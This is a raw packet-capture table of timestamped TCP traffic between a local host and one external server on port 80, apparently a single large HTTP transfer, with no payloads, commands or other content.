Apr 10, 2024 10:23:09.347362041 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347372055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347399950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347436905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347449064 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347475052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347511053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347522974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347548008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347583055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347594023 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347620010 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347656965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347667933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.347693920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.347734928 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507199049 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507348061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507389069 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507426023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507462978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507479906 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507479906 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507503986 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507543087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507579088 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507615089 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507628918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507628918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507652998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507692099 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507730007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507733107 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507769108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507781029 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507807016 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507843971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507879972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507906914 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507915974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507953882 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507989883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.507996082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.507996082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508049011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508085012 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508095026 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508122921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508161068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508198023 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508198023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508260012 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508260965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508301020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508337975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508374929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508411884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508420944 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508420944 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508450031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508487940 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508523941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508559942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508574009 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508574009 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508596897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508634090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508658886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508672953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508709908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508747101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508784056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508794069 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508794069 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508821964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508858919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508896112 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508930922 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.508939981 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508939981 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.508969069 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509006023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509032011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509042025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509078979 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509115934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509154081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509162903 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509164095 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509192944 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509232998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509268999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509280920 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509306908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509322882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509344101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509381056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509416103 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509419918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509454966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509491920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509527922 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509537935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509537935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509566069 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509603024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509639025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509641886 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509676933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509682894 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509715080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509753942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509789944 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509825945 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509834051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509834051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509864092 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509902000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509938955 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509974957 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.509984970 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.509984970 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.510020971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510057926 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510061026 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.510097027 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510134935 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.510137081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510176897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510214090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510226011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.510251999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510288000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510325909 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.510371923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.510371923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.669996977 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670062065 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670100927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670137882 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670161009 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670176983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670214891 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670222044 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670253038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670281887 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670296907 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670335054 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670372009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670373917 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670412064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670448065 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670483112 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670485973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670542002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670578003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670592070 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670592070 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670614004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670651913 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670687914 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670696974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670725107 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670761108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670797110 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670799971 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670799971 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670834064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670872927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670907974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670944929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.670953989 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670953989 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.670983076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671020031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671027899 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671056986 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671093941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671128988 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671130896 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671170950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671207905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671231031 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671245098 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671281099 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671317101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671324968 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671324968 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671355009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671391964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671397924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671427965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671463966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671485901 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671502113 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671540022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671575069 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671611071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671617985 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671617985 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671648979 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671685934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671696901 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671721935 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671758890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671797037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671833038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671833992 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671833992 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671870947 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671909094 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671946049 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671983004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.671989918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.671989918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672019958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672056913 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672064066 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672092915 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672132015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672169924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672187090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672208071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672272921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672310114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672314882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672316074 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672348022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672384977 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672420025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672455072 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672456026 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672457933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672496080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672532082 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672568083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672604084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672605038 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672605038 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672641993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672677994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672684908 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672715902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672751904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672763109 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672789097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672826052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672848940 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672866106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672903061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672939062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672975063 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.672981024 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.672981024 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673012972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673048973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673098087 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673108101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673147917 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673183918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673211098 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673219919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673257113 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673293114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673299074 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673299074 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673331022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673369884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673376083 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673407078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673444033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673480988 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673507929 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673516989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673554897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673590899 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673599005 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673599005 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673629045 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673665047 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673701048 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673738003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673743963 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673743963 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673777103 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673814058 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673823118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673851013 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673887968 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673924923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673964024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.673969984 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.673969984 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674000978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674037933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674074888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674112082 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674118042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674118042 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674153090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674189091 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674197912 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674226046 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674263000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674295902 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674299002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674336910 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674371958 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674397945 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674408913 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674446106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674482107 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674489021 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674489021 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674519062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674556017 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674561977 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674592018 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674628019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674664974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674700022 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674709082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674709082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674737930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674774885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674784899 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674812078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674849033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674885035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674921989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.674922943 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.674922943 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.717608929 CEST	49705	80	192.168.2.5	216.250.255.115
